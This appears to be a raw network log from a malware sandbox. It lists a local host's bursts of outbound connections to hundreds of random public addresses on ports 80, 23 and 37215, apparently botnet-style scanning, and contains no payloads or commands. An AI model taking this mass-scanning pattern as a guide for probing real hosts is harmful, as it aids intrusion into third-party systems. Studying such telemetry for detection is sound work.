Jan 30, 2025 10:43:04.147809029 CET	62855	80	192.168.2.14	31.122.107.209
Jan 30, 2025 10:43:04.147809982 CET	62855	80	192.168.2.14	203.51.137.26
Jan 30, 2025 10:43:04.147809982 CET	62855	80	192.168.2.14	173.238.38.181
Jan 30, 2025 10:43:04.147810936 CET	62855	80	192.168.2.14	206.199.182.164
Jan 30, 2025 10:43:04.147810936 CET	62855	80	192.168.2.14	18.191.42.66
Jan 30, 2025 10:43:04.147811890 CET	62855	80	192.168.2.14	46.193.39.196
Jan 30, 2025 10:43:04.147813082 CET	62855	80	192.168.2.14	123.241.85.244
Jan 30, 2025 10:43:04.147813082 CET	62855	80	192.168.2.14	68.55.232.50
Jan 30, 2025 10:43:04.147818089 CET	62855	80	192.168.2.14	209.236.84.170
Jan 30, 2025 10:43:04.147820950 CET	62855	80	192.168.2.14	65.230.225.141
Jan 30, 2025 10:43:04.147820950 CET	62855	80	192.168.2.14	217.235.86.166
Jan 30, 2025 10:43:04.147829056 CET	62855	80	192.168.2.14	203.120.244.246
Jan 30, 2025 10:43:04.147830963 CET	62855	80	192.168.2.14	199.107.162.46
Jan 30, 2025 10:43:04.147830963 CET	62855	80	192.168.2.14	124.191.86.130
Jan 30, 2025 10:43:04.147830963 CET	62855	80	192.168.2.14	145.183.137.4
Jan 30, 2025 10:43:04.147830963 CET	62855	80	192.168.2.14	23.89.127.217
Jan 30, 2025 10:43:04.147836924 CET	62855	80	192.168.2.14	102.238.164.23
Jan 30, 2025 10:43:04.147847891 CET	62855	80	192.168.2.14	85.178.141.83
Jan 30, 2025 10:43:04.147850037 CET	62855	80	192.168.2.14	158.84.200.41
Jan 30, 2025 10:43:04.147851944 CET	62855	80	192.168.2.14	101.153.22.128
Jan 30, 2025 10:43:04.147862911 CET	62855	80	192.168.2.14	172.33.247.124
Jan 30, 2025 10:43:04.147862911 CET	62855	80	192.168.2.14	132.1.250.42
Jan 30, 2025 10:43:04.147865057 CET	62855	80	192.168.2.14	136.154.20.173
Jan 30, 2025 10:43:04.147878885 CET	62855	80	192.168.2.14	137.57.72.199
Jan 30, 2025 10:43:04.147885084 CET	62855	80	192.168.2.14	184.65.248.255
Jan 30, 2025 10:43:04.147885084 CET	62855	80	192.168.2.14	148.147.85.206
Jan 30, 2025 10:43:04.147890091 CET	62855	80	192.168.2.14	79.118.232.99
Jan 30, 2025 10:43:04.147890091 CET	62855	80	192.168.2.14	126.233.231.147
Jan 30, 2025 10:43:04.147891998 CET	62855	80	192.168.2.14	208.77.149.97
Jan 30, 2025 10:43:04.147891998 CET	62855	80	192.168.2.14	218.130.72.244
Jan 30, 2025 10:43:04.147896051 CET	62855	80	192.168.2.14	84.236.135.93
Jan 30, 2025 10:43:04.147896051 CET	62855	80	192.168.2.14	138.37.52.201
Jan 30, 2025 10:43:04.147914886 CET	62855	80	192.168.2.14	154.36.193.131
Jan 30, 2025 10:43:04.147917986 CET	62855	80	192.168.2.14	209.138.250.220
Jan 30, 2025 10:43:04.147922993 CET	62855	80	192.168.2.14	58.85.103.255
Jan 30, 2025 10:43:04.147933960 CET	62855	80	192.168.2.14	123.79.50.28
Jan 30, 2025 10:43:04.147934914 CET	62855	80	192.168.2.14	162.88.72.192
Jan 30, 2025 10:43:04.147938013 CET	62855	80	192.168.2.14	113.232.6.3
Jan 30, 2025 10:43:04.147939920 CET	62855	80	192.168.2.14	183.115.50.62
Jan 30, 2025 10:43:04.147943020 CET	62855	80	192.168.2.14	39.236.254.131
Jan 30, 2025 10:43:04.147954941 CET	62855	80	192.168.2.14	139.130.221.223
Jan 30, 2025 10:43:04.147965908 CET	62855	80	192.168.2.14	135.205.151.231
Jan 30, 2025 10:43:04.147973061 CET	62855	80	192.168.2.14	17.207.180.17
Jan 30, 2025 10:43:04.147974014 CET	62855	80	192.168.2.14	200.133.17.187
Jan 30, 2025 10:43:04.147980928 CET	62855	80	192.168.2.14	150.168.247.109
Jan 30, 2025 10:43:04.147980928 CET	62855	80	192.168.2.14	156.48.9.111
Jan 30, 2025 10:43:04.147980928 CET	62855	80	192.168.2.14	201.193.206.88
Jan 30, 2025 10:43:04.147990942 CET	62855	80	192.168.2.14	156.96.121.29
Jan 30, 2025 10:43:04.148032904 CET	62855	80	192.168.2.14	110.169.65.231
Jan 30, 2025 10:43:04.148037910 CET	62855	80	192.168.2.14	125.207.194.65
Jan 30, 2025 10:43:04.148041010 CET	62855	80	192.168.2.14	113.138.119.110
Jan 30, 2025 10:43:04.148044109 CET	62855	80	192.168.2.14	153.48.67.210
Jan 30, 2025 10:43:04.148056984 CET	62855	80	192.168.2.14	77.129.117.62
Jan 30, 2025 10:43:04.148058891 CET	62855	80	192.168.2.14	51.95.211.93
Jan 30, 2025 10:43:04.148058891 CET	62855	80	192.168.2.14	81.246.2.180
Jan 30, 2025 10:43:04.148072958 CET	62855	80	192.168.2.14	178.103.201.30
Jan 30, 2025 10:43:04.148072958 CET	62855	80	192.168.2.14	35.72.73.224
Jan 30, 2025 10:43:04.148092031 CET	62855	80	192.168.2.14	47.122.186.72
Jan 30, 2025 10:43:04.148092985 CET	62855	80	192.168.2.14	17.50.198.155
Jan 30, 2025 10:43:04.148092985 CET	62855	80	192.168.2.14	120.128.113.111
Jan 30, 2025 10:43:04.148093939 CET	62855	80	192.168.2.14	109.33.93.40
Jan 30, 2025 10:43:04.148096085 CET	62855	80	192.168.2.14	122.175.166.117
Jan 30, 2025 10:43:04.148096085 CET	62855	80	192.168.2.14	54.91.91.144
Jan 30, 2025 10:43:04.148096085 CET	62855	80	192.168.2.14	209.3.118.191
Jan 30, 2025 10:43:04.148102045 CET	62855	80	192.168.2.14	195.213.251.255
Jan 30, 2025 10:43:04.148107052 CET	62855	80	192.168.2.14	212.156.205.149
Jan 30, 2025 10:43:04.148113012 CET	62855	80	192.168.2.14	153.128.73.17
Jan 30, 2025 10:43:04.148123980 CET	62855	80	192.168.2.14	73.66.191.210
Jan 30, 2025 10:43:04.148125887 CET	62855	80	192.168.2.14	129.24.67.48
Jan 30, 2025 10:43:04.148139954 CET	62855	80	192.168.2.14	79.221.195.44
Jan 30, 2025 10:43:04.148139954 CET	62855	80	192.168.2.14	64.64.77.241
Jan 30, 2025 10:43:04.148147106 CET	62855	80	192.168.2.14	128.2.243.244
Jan 30, 2025 10:43:04.148155928 CET	62855	80	192.168.2.14	32.53.109.160
Jan 30, 2025 10:43:04.148252964 CET	34998	80	192.168.2.14	202.122.36.255
Jan 30, 2025 10:43:04.148252964 CET	34998	80	192.168.2.14	202.122.36.255
Jan 30, 2025 10:43:04.148519039 CET	35768	80	192.168.2.14	202.122.36.255
Jan 30, 2025 10:43:04.150703907 CET	37215	51474	41.51.110.42	192.168.2.14
Jan 30, 2025 10:43:04.151438951 CET	37215	44396	41.40.143.60	192.168.2.14
Jan 30, 2025 10:43:04.152123928 CET	37215	47634	41.47.143.151	192.168.2.14
Jan 30, 2025 10:43:04.153007030 CET	80	34998	202.122.36.255	192.168.2.14
Jan 30, 2025 10:43:04.171190023 CET	35930	37215	192.168.2.14	156.63.240.57
Jan 30, 2025 10:43:04.171191931 CET	53248	80	192.168.2.14	101.30.234.47
Jan 30, 2025 10:43:04.171191931 CET	34378	80	192.168.2.14	35.44.172.159
Jan 30, 2025 10:43:04.171191931 CET	39440	37215	192.168.2.14	156.140.48.212
Jan 30, 2025 10:43:04.171194077 CET	52016	37215	192.168.2.14	156.1.171.213
Jan 30, 2025 10:43:04.171199083 CET	60674	80	192.168.2.14	173.165.28.199
Jan 30, 2025 10:43:04.171197891 CET	42498	37215	192.168.2.14	41.239.226.175
Jan 30, 2025 10:43:04.171197891 CET	42742	23	192.168.2.14	64.232.210.105
Jan 30, 2025 10:43:04.171201944 CET	58226	80	192.168.2.14	63.179.83.121
Jan 30, 2025 10:43:04.171199083 CET	57744	80	192.168.2.14	88.245.243.24
Jan 30, 2025 10:43:04.171199083 CET	54392	23	192.168.2.14	31.81.69.81
Jan 30, 2025 10:43:04.171205997 CET	34810	80	192.168.2.14	146.177.21.208
Jan 30, 2025 10:43:04.171205997 CET	46410	23	192.168.2.14	206.159.111.112
Jan 30, 2025 10:43:04.171206951 CET	44352	23	192.168.2.14	99.125.97.72
Jan 30, 2025 10:43:04.171206951 CET	38156	23	192.168.2.14	157.218.194.211
Jan 30, 2025 10:43:04.171209097 CET	51716	23	192.168.2.14	17.219.24.178
Jan 30, 2025 10:43:04.171209097 CET	54640	23	192.168.2.14	177.13.66.45
Jan 30, 2025 10:43:04.171209097 CET	36508	23	192.168.2.14	53.8.92.217
Jan 30, 2025 10:43:04.171209097 CET	45042	80	192.168.2.14	163.203.166.137
Jan 30, 2025 10:43:04.171209097 CET	43114	23	192.168.2.14	126.156.219.49
Jan 30, 2025 10:43:04.171225071 CET	45130	80	192.168.2.14	114.171.50.154
Jan 30, 2025 10:43:04.171226025 CET	44304	80	192.168.2.14	93.24.133.253
Jan 30, 2025 10:43:04.171226025 CET	35300	23	192.168.2.14	67.232.47.220
Jan 30, 2025 10:43:04.176019907 CET	37215	35930	156.63.240.57	192.168.2.14
Jan 30, 2025 10:43:04.176032066 CET	80	53248	101.30.234.47	192.168.2.14
Jan 30, 2025 10:43:04.176106930 CET	53248	80	192.168.2.14	101.30.234.47
Jan 30, 2025 10:43:04.176111937 CET	35930	37215	192.168.2.14	156.63.240.57
Jan 30, 2025 10:43:04.176111937 CET	35930	37215	192.168.2.14	156.63.240.57
Jan 30, 2025 10:43:04.176194906 CET	53248	80	192.168.2.14	101.30.234.47
Jan 30, 2025 10:43:04.176204920 CET	53248	80	192.168.2.14	101.30.234.47
Jan 30, 2025 10:43:04.176558018 CET	53984	80	192.168.2.14	101.30.234.47
Jan 30, 2025 10:43:04.182241917 CET	37215	35930	156.63.240.57	192.168.2.14
Jan 30, 2025 10:43:04.182301998 CET	35930	37215	192.168.2.14	156.63.240.57
Jan 30, 2025 10:43:04.182420015 CET	80	53248	101.30.234.47	192.168.2.14
Jan 30, 2025 10:43:04.182894945 CET	80	53984	101.30.234.47	192.168.2.14
Jan 30, 2025 10:43:04.182955027 CET	53984	80	192.168.2.14	101.30.234.47
Jan 30, 2025 10:43:04.182992935 CET	53984	80	192.168.2.14	101.30.234.47
Jan 30, 2025 10:43:04.189028025 CET	80	53984	101.30.234.47	192.168.2.14
Jan 30, 2025 10:43:04.189099073 CET	53984	80	192.168.2.14	101.30.234.47
Jan 30, 2025 10:43:04.191718102 CET	37215	44396	41.40.143.60	192.168.2.14
Jan 30, 2025 10:43:04.191729069 CET	37215	51474	41.51.110.42	192.168.2.14
Jan 30, 2025 10:43:04.195842981 CET	80	34998	202.122.36.255	192.168.2.14
Jan 30, 2025 10:43:04.199757099 CET	37215	47634	41.47.143.151	192.168.2.14
Jan 30, 2025 10:43:04.203216076 CET	41936	80	192.168.2.14	202.158.129.118
Jan 30, 2025 10:43:04.203217983 CET	34682	23	192.168.2.14	170.117.69.61
Jan 30, 2025 10:43:04.203217983 CET	37920	80	192.168.2.14	167.95.37.105
Jan 30, 2025 10:43:04.203217983 CET	55394	80	192.168.2.14	24.29.122.83
Jan 30, 2025 10:43:04.203217983 CET	44018	80	192.168.2.14	109.93.61.91
Jan 30, 2025 10:43:04.203221083 CET	56944	23	192.168.2.14	189.240.24.88
Jan 30, 2025 10:43:04.203221083 CET	47598	23	192.168.2.14	131.167.255.94
Jan 30, 2025 10:43:04.203221083 CET	34344	23	192.168.2.14	81.208.180.164
Jan 30, 2025 10:43:04.203244925 CET	44020	80	192.168.2.14	222.8.71.76
Jan 30, 2025 10:43:04.203246117 CET	42914	80	192.168.2.14	102.228.247.160
Jan 30, 2025 10:43:04.203246117 CET	42952	80	192.168.2.14	221.204.118.50
Jan 30, 2025 10:43:04.203246117 CET	47034	23	192.168.2.14	27.82.232.179
Jan 30, 2025 10:43:04.203246117 CET	38384	23	192.168.2.14	158.101.166.46
Jan 30, 2025 10:43:04.203246117 CET	56948	80	192.168.2.14	180.246.42.84
Jan 30, 2025 10:43:04.203248978 CET	57852	23	192.168.2.14	141.43.198.91
Jan 30, 2025 10:43:04.203248978 CET	59384	80	192.168.2.14	156.114.249.224
Jan 30, 2025 10:43:04.203248978 CET	49978	23	192.168.2.14	163.171.65.239
Jan 30, 2025 10:43:04.203253984 CET	45800	23	192.168.2.14	50.111.252.230
Jan 30, 2025 10:43:04.203254938 CET	33388	80	192.168.2.14	40.97.127.126
Jan 30, 2025 10:43:04.203254938 CET	47160	23	192.168.2.14	38.41.60.178
Jan 30, 2025 10:43:04.203254938 CET	36074	80	192.168.2.14	54.87.158.117
Jan 30, 2025 10:43:04.203269958 CET	46420	80	192.168.2.14	101.99.144.61
Jan 30, 2025 10:43:04.208121061 CET	23	34682	170.117.69.61	192.168.2.14
Jan 30, 2025 10:43:04.208132029 CET	80	41936	202.158.129.118	192.168.2.14
Jan 30, 2025 10:43:04.208139896 CET	80	37920	167.95.37.105	192.168.2.14
Jan 30, 2025 10:43:04.208193064 CET	34682	23	192.168.2.14	170.117.69.61
Jan 30, 2025 10:43:04.208193064 CET	37920	80	192.168.2.14	167.95.37.105
Jan 30, 2025 10:43:04.208194017 CET	41936	80	192.168.2.14	202.158.129.118
Jan 30, 2025 10:43:04.208344936 CET	37920	80	192.168.2.14	167.95.37.105
Jan 30, 2025 10:43:04.208353996 CET	37920	80	192.168.2.14	167.95.37.105
Jan 30, 2025 10:43:04.208755970 CET	38592	80	192.168.2.14	167.95.37.105
Jan 30, 2025 10:43:04.209116936 CET	41936	80	192.168.2.14	202.158.129.118
Jan 30, 2025 10:43:04.209136009 CET	41936	80	192.168.2.14	202.158.129.118
Jan 30, 2025 10:43:04.209394932 CET	42606	80	192.168.2.14	202.158.129.118
Jan 30, 2025 10:43:04.213275909 CET	80	37920	167.95.37.105	192.168.2.14
Jan 30, 2025 10:43:04.213982105 CET	80	41936	202.158.129.118	192.168.2.14
Jan 30, 2025 10:43:04.223831892 CET	80	53248	101.30.234.47	192.168.2.14
Jan 30, 2025 10:43:04.235177994 CET	43940	23	192.168.2.14	13.176.144.13
Jan 30, 2025 10:43:04.235184908 CET	60116	80	192.168.2.14	13.31.53.69
Jan 30, 2025 10:43:04.235184908 CET	37584	23	192.168.2.14	37.110.212.212
Jan 30, 2025 10:43:04.235213995 CET	41694	80	192.168.2.14	164.162.138.202
Jan 30, 2025 10:43:04.235214949 CET	38514	23	192.168.2.14	2.158.46.248
Jan 30, 2025 10:43:04.235215902 CET	33452	80	192.168.2.14	72.190.163.202
Jan 30, 2025 10:43:04.235213995 CET	39098	80	192.168.2.14	116.141.13.77
Jan 30, 2025 10:43:04.235229015 CET	51580	80	192.168.2.14	101.105.101.85
Jan 30, 2025 10:43:04.235229015 CET	53052	23	192.168.2.14	145.96.18.189
Jan 30, 2025 10:43:04.235241890 CET	49784	23	192.168.2.14	158.202.88.176
Jan 30, 2025 10:43:04.235241890 CET	45828	80	192.168.2.14	153.28.150.0
Jan 30, 2025 10:43:04.235244036 CET	59768	23	192.168.2.14	90.176.6.100
Jan 30, 2025 10:43:04.235244036 CET	35892	80	192.168.2.14	32.20.136.243
Jan 30, 2025 10:43:04.235245943 CET	43760	80	192.168.2.14	64.194.130.124
Jan 30, 2025 10:43:04.235246897 CET	47474	23	192.168.2.14	186.64.96.58
Jan 30, 2025 10:43:04.235246897 CET	58524	80	192.168.2.14	169.71.185.12
Jan 30, 2025 10:43:04.235260010 CET	45470	23	192.168.2.14	124.163.5.175
Jan 30, 2025 10:43:04.235260010 CET	59386	23	192.168.2.14	156.212.20.48
Jan 30, 2025 10:43:04.235260010 CET	59368	80	192.168.2.14	183.112.108.163
Jan 30, 2025 10:43:04.235263109 CET	60350	80	192.168.2.14	189.18.211.232
Jan 30, 2025 10:43:04.235264063 CET	54738	23	192.168.2.14	76.42.13.152
Jan 30, 2025 10:43:04.235268116 CET	36630	80	192.168.2.14	188.152.22.164
Jan 30, 2025 10:43:04.235268116 CET	46534	23	192.168.2.14	107.154.166.22
Jan 30, 2025 10:43:04.240006924 CET	23	43940	13.176.144.13	192.168.2.14
Jan 30, 2025 10:43:04.240016937 CET	23	37584	37.110.212.212	192.168.2.14
Jan 30, 2025 10:43:04.240026951 CET	80	60116	13.31.53.69	192.168.2.14
Jan 30, 2025 10:43:04.240089893 CET	43940	23	192.168.2.14	13.176.144.13
Jan 30, 2025 10:43:04.240108013 CET	37584	23	192.168.2.14	37.110.212.212
Jan 30, 2025 10:43:04.240109921 CET	60116	80	192.168.2.14	13.31.53.69
Jan 30, 2025 10:43:04.240200996 CET	60116	80	192.168.2.14	13.31.53.69
Jan 30, 2025 10:43:04.240200996 CET	60116	80	192.168.2.14	13.31.53.69
Jan 30, 2025 10:43:04.240580082 CET	60746	80	192.168.2.14	13.31.53.69
Jan 30, 2025 10:43:04.245090008 CET	80	60116	13.31.53.69	192.168.2.14
Jan 30, 2025 10:43:04.245402098 CET	80	60746	13.31.53.69	192.168.2.14
Jan 30, 2025 10:43:04.245558977 CET	60746	80	192.168.2.14	13.31.53.69
Jan 30, 2025 10:43:04.245573044 CET	60746	80	192.168.2.14	13.31.53.69
Jan 30, 2025 10:43:04.250463009 CET	80	60746	13.31.53.69	192.168.2.14
Jan 30, 2025 10:43:04.250562906 CET	60746	80	192.168.2.14	13.31.53.69
Jan 30, 2025 10:43:04.255743027 CET	80	41936	202.158.129.118	192.168.2.14
Jan 30, 2025 10:43:04.255753994 CET	80	37920	167.95.37.105	192.168.2.14
Jan 30, 2025 10:43:04.267182112 CET	38226	23	192.168.2.14	87.216.141.205
Jan 30, 2025 10:43:04.267184019 CET	47622	23	192.168.2.14	196.151.125.165
Jan 30, 2025 10:43:04.267185926 CET	40798	23	192.168.2.14	213.230.220.243
Jan 30, 2025 10:43:04.267200947 CET	33554	23	192.168.2.14	69.232.229.103
Jan 30, 2025 10:43:04.267203093 CET	38666	23	192.168.2.14	118.212.248.36
Jan 30, 2025 10:43:04.267203093 CET	40488	23	192.168.2.14	195.70.91.168
Jan 30, 2025 10:43:04.267205000 CET	52752	23	192.168.2.14	208.11.100.130
Jan 30, 2025 10:43:04.267205954 CET	47800	23	192.168.2.14	91.18.163.105
Jan 30, 2025 10:43:04.267205954 CET	33598	23	192.168.2.14	40.246.201.198
Jan 30, 2025 10:43:04.267219067 CET	54066	80	192.168.2.14	201.225.216.198
Jan 30, 2025 10:43:04.267220974 CET	40308	23	192.168.2.14	137.235.255.225
Jan 30, 2025 10:43:04.267222881 CET	46044	23	192.168.2.14	117.18.52.15
Jan 30, 2025 10:43:04.267222881 CET	48206	23	192.168.2.14	45.26.8.105
Jan 30, 2025 10:43:04.267225027 CET	60606	80	192.168.2.14	91.99.79.0
Jan 30, 2025 10:43:04.267252922 CET	44230	80	192.168.2.14	199.71.176.72
Jan 30, 2025 10:43:04.267266989 CET	47018	80	192.168.2.14	58.149.86.49
Jan 30, 2025 10:43:04.267270088 CET	56164	80	192.168.2.14	223.231.66.61
Jan 30, 2025 10:43:04.267281055 CET	53556	80	192.168.2.14	47.230.157.208
Jan 30, 2025 10:43:04.267302036 CET	33100	80	192.168.2.14	14.130.211.223
Jan 30, 2025 10:43:04.267303944 CET	43904	80	192.168.2.14	75.104.75.176
Jan 30, 2025 10:43:04.271984100 CET	23	38226	87.216.141.205	192.168.2.14
Jan 30, 2025 10:43:04.271994114 CET	23	40798	213.230.220.243	192.168.2.14
Jan 30, 2025 10:43:04.272082090 CET	38226	23	192.168.2.14	87.216.141.205
Jan 30, 2025 10:43:04.272109985 CET	40798	23	192.168.2.14	213.230.220.243
Jan 30, 2025 10:43:04.287787914 CET	80	60116	13.31.53.69	192.168.2.14
Jan 30, 2025 10:43:04.299168110 CET	52798	80	192.168.2.14	18.170.17.66
Jan 30, 2025 10:43:04.299168110 CET	40142	80	192.168.2.14	124.155.57.184
Jan 30, 2025 10:43:04.299173117 CET	60750	23	192.168.2.14	81.123.76.95
Jan 30, 2025 10:43:04.299176931 CET	57956	23	192.168.2.14	131.145.223.108
Jan 30, 2025 10:43:04.299176931 CET	54922	23	192.168.2.14	37.235.118.110
Jan 30, 2025 10:43:04.299173117 CET	58124	23	192.168.2.14	90.243.252.229
Jan 30, 2025 10:43:04.299173117 CET	34868	23	192.168.2.14	162.148.116.69
Jan 30, 2025 10:43:04.299180984 CET	46182	23	192.168.2.14	211.228.207.243
Jan 30, 2025 10:43:04.299180984 CET	60584	80	192.168.2.14	91.128.91.22
Jan 30, 2025 10:43:04.299181938 CET	41402	80	192.168.2.14	76.70.153.23
Jan 30, 2025 10:43:04.299181938 CET	37690	23	192.168.2.14	53.35.130.156
Jan 30, 2025 10:43:04.299184084 CET	35464	80	192.168.2.14	188.84.228.143
Jan 30, 2025 10:43:04.299181938 CET	52700	80	192.168.2.14	142.231.215.51
Jan 30, 2025 10:43:04.299185038 CET	58926	23	192.168.2.14	205.18.13.164
Jan 30, 2025 10:43:04.299185038 CET	57766	23	192.168.2.14	136.69.245.231
Jan 30, 2025 10:43:04.299185991 CET	58628	23	192.168.2.14	100.48.159.253
Jan 30, 2025 10:43:04.299200058 CET	54824	80	192.168.2.14	152.129.178.243
Jan 30, 2025 10:43:04.299206972 CET	35432	80	192.168.2.14	115.27.91.61
Jan 30, 2025 10:43:04.304084063 CET	80	52798	18.170.17.66	192.168.2.14
Jan 30, 2025 10:43:04.304094076 CET	80	40142	124.155.57.184	192.168.2.14
Jan 30, 2025 10:43:04.304104090 CET	23	60750	81.123.76.95	192.168.2.14
Jan 30, 2025 10:43:04.304148912 CET	52798	80	192.168.2.14	18.170.17.66
Jan 30, 2025 10:43:04.304161072 CET	60750	23	192.168.2.14	81.123.76.95
Jan 30, 2025 10:43:04.304163933 CET	40142	80	192.168.2.14	124.155.57.184
Jan 30, 2025 10:43:04.304250002 CET	52798	80	192.168.2.14	18.170.17.66
Jan 30, 2025 10:43:04.304250002 CET	52798	80	192.168.2.14	18.170.17.66
Jan 30, 2025 10:43:04.304686069 CET	53320	80	192.168.2.14	18.170.17.66
Jan 30, 2025 10:43:04.305017948 CET	40142	80	192.168.2.14	124.155.57.184
Jan 30, 2025 10:43:04.305017948 CET	40142	80	192.168.2.14	124.155.57.184
Jan 30, 2025 10:43:04.305294991 CET	40662	80	192.168.2.14	124.155.57.184
Jan 30, 2025 10:43:04.308984041 CET	80	52798	18.170.17.66	192.168.2.14
Jan 30, 2025 10:43:04.309468985 CET	80	53320	18.170.17.66	192.168.2.14
Jan 30, 2025 10:43:04.309525013 CET	53320	80	192.168.2.14	18.170.17.66
Jan 30, 2025 10:43:04.309536934 CET	53320	80	192.168.2.14	18.170.17.66
Jan 30, 2025 10:43:04.309794903 CET	80	40142	124.155.57.184	192.168.2.14
Jan 30, 2025 10:43:04.314476967 CET	80	53320	18.170.17.66	192.168.2.14
Jan 30, 2025 10:43:04.314527988 CET	53320	80	192.168.2.14	18.170.17.66
Jan 30, 2025 10:43:04.331165075 CET	41602	23	192.168.2.14	137.186.157.142
Jan 30, 2025 10:43:04.331177950 CET	57716	23	192.168.2.14	86.131.55.201
Jan 30, 2025 10:43:04.331177950 CET	52948	23	192.168.2.14	93.3.231.15
Jan 30, 2025 10:43:04.331181049 CET	40762	23	192.168.2.14	49.181.254.175
Jan 30, 2025 10:43:04.331187010 CET	46746	23	192.168.2.14	173.211.164.143
Jan 30, 2025 10:43:04.331187963 CET	51824	23	192.168.2.14	103.197.110.162
Jan 30, 2025 10:43:04.331191063 CET	51784	80	192.168.2.14	42.137.3.170
Jan 30, 2025 10:43:04.331191063 CET	42388	80	192.168.2.14	104.65.63.136
Jan 30, 2025 10:43:04.331197977 CET	37098	23	192.168.2.14	90.248.95.93
Jan 30, 2025 10:43:04.331202030 CET	39186	23	192.168.2.14	143.52.203.108
Jan 30, 2025 10:43:04.331203938 CET	59188	23	192.168.2.14	196.202.231.26
Jan 30, 2025 10:43:04.331209898 CET	42412	23	192.168.2.14	101.83.111.40
Jan 30, 2025 10:43:04.331221104 CET	50822	80	192.168.2.14	36.244.20.137
Jan 30, 2025 10:43:04.331234932 CET	54168	80	192.168.2.14	37.189.190.222
Jan 30, 2025 10:43:04.331239939 CET	41006	80	192.168.2.14	117.36.218.208
Jan 30, 2025 10:43:04.331239939 CET	59166	80	192.168.2.14	176.11.178.157
Jan 30, 2025 10:43:04.331258059 CET	46154	80	192.168.2.14	120.156.154.135
Jan 30, 2025 10:43:04.331259012 CET	37654	80	192.168.2.14	45.159.42.170
Jan 30, 2025 10:43:04.331259012 CET	37570	80	192.168.2.14	171.85.237.97
Jan 30, 2025 10:43:04.331268072 CET	35336	80	192.168.2.14	70.67.135.56
Jan 30, 2025 10:43:04.331270933 CET	40148	80	192.168.2.14	23.195.253.247
Jan 30, 2025 10:43:04.338613987 CET	23	41602	137.186.157.142	192.168.2.14
Jan 30, 2025 10:43:04.338624954 CET	23	57716	86.131.55.201	192.168.2.14
Jan 30, 2025 10:43:04.338665009 CET	41602	23	192.168.2.14	137.186.157.142
Jan 30, 2025 10:43:04.338668108 CET	57716	23	192.168.2.14	86.131.55.201
Jan 30, 2025 10:43:04.355710983 CET	80	40142	124.155.57.184	192.168.2.14
Jan 30, 2025 10:43:04.355720997 CET	80	52798	18.170.17.66	192.168.2.14
Jan 30, 2025 10:43:04.363171101 CET	34610	23	192.168.2.14	23.67.10.178
Jan 30, 2025 10:43:04.363188028 CET	50310	23	192.168.2.14	117.240.29.230
Jan 30, 2025 10:43:04.363203049 CET	44228	23	192.168.2.14	71.130.200.166
Jan 30, 2025 10:43:04.363203049 CET	50572	23	192.168.2.14	19.61.174.251
Jan 30, 2025 10:43:04.363204002 CET	43274	23	192.168.2.14	109.166.181.201
Jan 30, 2025 10:43:04.363203049 CET	42736	23	192.168.2.14	181.23.57.195
Jan 30, 2025 10:43:04.363204956 CET	34098	23	192.168.2.14	187.84.133.124
Jan 30, 2025 10:43:04.363224983 CET	42246	23	192.168.2.14	153.29.121.93
Jan 30, 2025 10:43:04.363228083 CET	59554	80	192.168.2.14	143.101.149.90
Jan 30, 2025 10:43:04.363229036 CET	57304	23	192.168.2.14	152.132.175.95
Jan 30, 2025 10:43:04.363231897 CET	33564	80	192.168.2.14	58.95.204.51
Jan 30, 2025 10:43:04.363234043 CET	42110	80	192.168.2.14	32.84.125.20
Jan 30, 2025 10:43:04.363234043 CET	33394	23	192.168.2.14	23.231.98.71
Jan 30, 2025 10:43:04.363234997 CET	40778	80	192.168.2.14	107.214.109.83
Jan 30, 2025 10:43:04.363240957 CET	58226	23	192.168.2.14	175.146.203.178
Jan 30, 2025 10:43:04.363240957 CET	37958	23	192.168.2.14	168.213.38.162
Jan 30, 2025 10:43:04.363240957 CET	56300	23	192.168.2.14	157.78.114.244
Jan 30, 2025 10:43:04.363245964 CET	32826	80	192.168.2.14	170.200.119.231
Jan 30, 2025 10:43:04.363254070 CET	54380	80	192.168.2.14	153.31.89.75
Jan 30, 2025 10:43:04.363251925 CET	49898	80	192.168.2.14	12.55.101.186
Jan 30, 2025 10:43:04.363251925 CET	35318	80	192.168.2.14	53.182.223.56
Jan 30, 2025 10:43:04.363260031 CET	48600	80	192.168.2.14	43.83.128.171
Jan 30, 2025 10:43:04.370918036 CET	23	34610	23.67.10.178	192.168.2.14
Jan 30, 2025 10:43:04.370929003 CET	23	50310	117.240.29.230	192.168.2.14
Jan 30, 2025 10:43:04.370938063 CET	23	44228	71.130.200.166	192.168.2.14
Jan 30, 2025 10:43:04.370949030 CET	23	50572	19.61.174.251	192.168.2.14
Jan 30, 2025 10:43:04.370985031 CET	50310	23	192.168.2.14	117.240.29.230
Jan 30, 2025 10:43:04.370996952 CET	34610	23	192.168.2.14	23.67.10.178
Jan 30, 2025 10:43:04.371018887 CET	44228	23	192.168.2.14	71.130.200.166
Jan 30, 2025 10:43:04.371040106 CET	50572	23	192.168.2.14	19.61.174.251
Jan 30, 2025 10:43:04.395181894 CET	57978	23	192.168.2.14	169.223.194.34
Jan 30, 2025 10:43:04.395181894 CET	33274	80	192.168.2.14	202.243.9.93
Jan 30, 2025 10:43:04.395188093 CET	44670	80	192.168.2.14	206.244.102.161
Jan 30, 2025 10:43:04.395200968 CET	42760	80	192.168.2.14	14.139.27.83
Jan 30, 2025 10:43:04.395209074 CET	58116	80	192.168.2.14	185.103.128.119
Jan 30, 2025 10:43:04.395210981 CET	56748	80	192.168.2.14	139.203.17.83
Jan 30, 2025 10:43:04.395215988 CET	44950	23	192.168.2.14	139.235.204.206
Jan 30, 2025 10:43:04.395217896 CET	51636	23	192.168.2.14	17.81.98.167
Jan 30, 2025 10:43:04.395217896 CET	51094	80	192.168.2.14	13.56.93.149
Jan 30, 2025 10:43:04.395221949 CET	46074	23	192.168.2.14	181.159.112.218
Jan 30, 2025 10:43:04.395221949 CET	50896	23	192.168.2.14	35.96.54.185
Jan 30, 2025 10:43:04.395251036 CET	39336	80	192.168.2.14	43.234.156.6
Jan 30, 2025 10:43:04.395267963 CET	44848	80	192.168.2.14	8.247.107.28
Jan 30, 2025 10:43:04.395281076 CET	55790	80	192.168.2.14	37.86.139.71
Jan 30, 2025 10:43:04.395291090 CET	48042	80	192.168.2.14	94.45.193.170
Jan 30, 2025 10:43:04.395299911 CET	46056	80	192.168.2.14	103.44.133.210
Jan 30, 2025 10:43:04.395318031 CET	33110	80	192.168.2.14	167.83.109.80
Jan 30, 2025 10:43:04.395327091 CET	37380	80	192.168.2.14	112.235.91.75
Jan 30, 2025 10:43:04.395333052 CET	52732	80	192.168.2.14	75.126.156.38
Jan 30, 2025 10:43:04.395354033 CET	38080	80	192.168.2.14	148.126.172.10
Jan 30, 2025 10:43:04.395380020 CET	57494	80	192.168.2.14	135.33.37.175
